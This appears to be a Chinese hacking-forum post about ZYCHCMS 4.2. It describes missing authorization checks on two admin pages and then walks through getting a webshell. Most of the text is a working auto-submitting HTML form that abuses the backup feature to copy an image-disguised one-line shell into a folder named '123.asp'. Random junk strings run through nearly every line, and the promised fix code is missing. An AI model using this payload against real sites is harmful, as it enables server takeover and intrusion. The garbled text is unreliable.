ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
7 z. {  V/ s; s& `6 e ①SQL注射漏洞
# Y2 T2 y5 d' | 漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
! c2 J+ B: }9 k 漏洞原因：未过滤
" t' O: K) m+ A 漏洞代码：
都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
修复方法：在文件开头加入代码

* M( }6 F0 Y* t
0 _9 r' t. x* D: B' f1 W1 O8 _0 D②后台拿WBSHELL
" b& J0 {6 z$ Q' u% t6 O 进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
9 ^, W2 Y6 Y9 l+ q5 n, n 这里在网上找了一个，改了下，将就着用。
以下是代码本地提交代码

% y+ w* W, b7 p6 u3 p7 Z
<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
) V6 \0 {% j9 R0 v0 g: q! Y% D6 T* F2 @ <tr>
% U" b9 \0 @- A; [ <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
. @, W3 `7 d# k: R+ y3 S </tr>
1 j) ^# a8 j5 Y. f& c0 y <tr>
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>
2 O7 e7 O# s1 i- u; | </span>
7 J4 |, k- G$ o) j0 Y <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
. T; _0 m4 u2 a) ~9 G4 `* q. @, ^ <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
<div align=”left”>
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
<!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
: m+ W  S" |8 I# F5 G/ y <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
</div></td>
8 f* b: X8 e0 d0 M0 ]1 s' m! P </tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
<td class=”td”><div align=”left”>
* m6 |- Q( O+ V% D( r <input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
6 {0 M7 R) w( r: G" H [如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
</tr>
/ ~4 x: |! p1 u3 O4 W <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
9 d  O; P! N% v" Z <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
<td class=”td”><div align=”left”>
" B$ {; O' {1 k/ I% | <input type=”submit” value=”确定备份” class=”btn”
</div></td>
</tr>
</table></td></tr></form>
2 O4 j" _( J' y5 a  o4 A' _9 k </table>
4 z' y% |- h9 \$ H </td>
2 a" a/ J3 E3 x </tr>
</table>
  r( n$ @0 n: Z. \ <script>
, f3 H- b$ [( H# L& ^6 V0 |- j# Z' ^: @ document.all.add.submit();
8 N& ~4 Q" S  V! \, a: j: Q) B7 } </script>
- {( T2 ^/ l4 y) F



! L. x/ l! P0 ~3 s  M
" F/ B# s( A# R6 C$ H4 |" a# I


: \1 _, A1 [5 m( J0 ^: ~

3 R/ [1 S6 T" ~: j- c8 h